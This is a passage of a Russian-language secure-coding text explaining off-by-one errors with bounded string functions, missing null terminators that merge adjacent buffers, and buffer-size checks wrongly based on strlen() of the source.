ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ ΠΈΡ… Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ.

Π¨ΠΈΡ€ΠΎΠΊΠΎ извСстна общая ошибка использования Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ с ограничСниями, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ²ΡˆΠ°Ρ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ «минус ΠΎΠ΄ΠΈΠ½Β», ΠΊΠΎΠ³Π΄Π° максимальная Π΄Π»ΠΈΠ½Π° записываСмой Π² Π±ΡƒΡ„Π΅Ρ€ строки приравниваСтся Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ Π±ΡƒΡ„Π΅Ρ€Π°. ΠŸΡ€ΠΈ этом часто Π·Π°Π±Ρ‹Π²Π°ΡŽΡ‚ ΠΎΠ± ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΏΡ€ΠΈΠ·Π½Π°ΠΊΠ΅ ΠΊΠΎΠ½Ρ†Π° строки – Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰Π΅ΠΌ строку Π½ΡƒΠ»Π΅Π²ΠΎΠΌ Π±Π°ΠΉΡ‚Π΅. НСкоторыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с ограничСниями ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² строку Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰Π΅Π³ΠΎ символа, позволяя строкС Π½Π΅Π·Π°ΠΌΠ΅Ρ‚Π½ΠΎ ΡΠ»ΠΈΡ‚ΡŒΡΡ со строкой ΠΈΠ· рядом располоТСнного Π±ΡƒΡ„Π΅Ρ€Π°. Если ΠΏΠΎΠ·Π΄Π½Π΅Π΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Π½Π΅ΠΉ, Ρ‚ΠΎ Π΄Π²Π° Π±ΡƒΡ„Π΅Ρ€Π° ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ ΠΎΠ΄ΠΈΠ½, способствуя ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ Π±ΡƒΡ„Π΅Ρ€Π°.

Рассмотрим ΠΏΡ€ΠΈΠΌΠ΅Ρ€:

[buf1 – 32 bytes \0][buf2 – 32 bytes \0]

ПослС записи Π² Π±ΡƒΡ„Π΅Ρ€ Π² bufl Ρ€ΠΎΠ²Π½ΠΎ 32 Π±Π°ΠΉΡ‚ΠΎΠ² Π΄Π²Π° Π±ΡƒΡ„Π΅Ρ€Π° выглядят ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:

[buf1 – 32 bytes of data ][buf2 – 32 bytes \0]

Π›ΡŽΠ±Π°Ρ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΏΠ΅Ρ€Π΅ΡΠ»Π°Ρ‚ΡŒ ΠΈΠ· Π±ΡƒΡ„Π΅Ρ€Π° bufl Π΄Π°Π½Π½Ρ‹Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ 64-Π±Π°ΠΉΡ‚Π½ΠΎΠΉ строки Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ Π±ΡƒΡ„Π΅Ρ€Π°, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π΄Π°Π½Π½Ρ‹Π΅.

Π”Ρ€ΡƒΠ³ΠΎΠ΅ часто Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‰Π΅Π΅ΡΡ Π½Π΅Π²Π΅Ρ€Π½ΠΎΠ΅ использованиС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ с ограничСниями Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… программирования ΠΈΠ»ΠΈ Π² Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ расчСтС ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… Π²Π΅Π»ΠΈΡ‡ΠΈΠ½ Π²ΠΎ врСмя выполнСния ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ ΠΈΠ·-Π·Π° Π½Π΅Π»Π΅ΠΏΠΎΠΉ ошибки ΠΈΠ»ΠΈ нСсогласованных ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅ Π² процСссС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π±ΡƒΡ„Π΅Ρ€ фиксированного Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π½Π΅ Π±Ρ‹Π» ΠΎΡ‚ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ Π² соотвСтствии с внСсСнными Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ измСнСниями. ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ согласован с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ Π±ΡƒΡ„Π΅Ρ€Π° получатСля ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π° Π½Π΅ Π΅Π΅ источника. Π˜Π·Π²Π΅ΡΡ‚Π½Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ использования Π² ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ strlen(), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΎ врСмя выполнСния ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ подсчитывали число Π±Π°ΠΉΡ‚ Π² Π±ΡƒΡ„Π΅Ρ€Π΅, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Π»ΠΈΡΡŒ. Π­Ρ‚Π° простая ошибка Π΄Π΅Π»Π°Π΅Ρ‚ бСсполСзной Π»ΡŽΠ±ΡƒΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² Π±ΡƒΡ„Π΅Ρ€ΠΎΠ².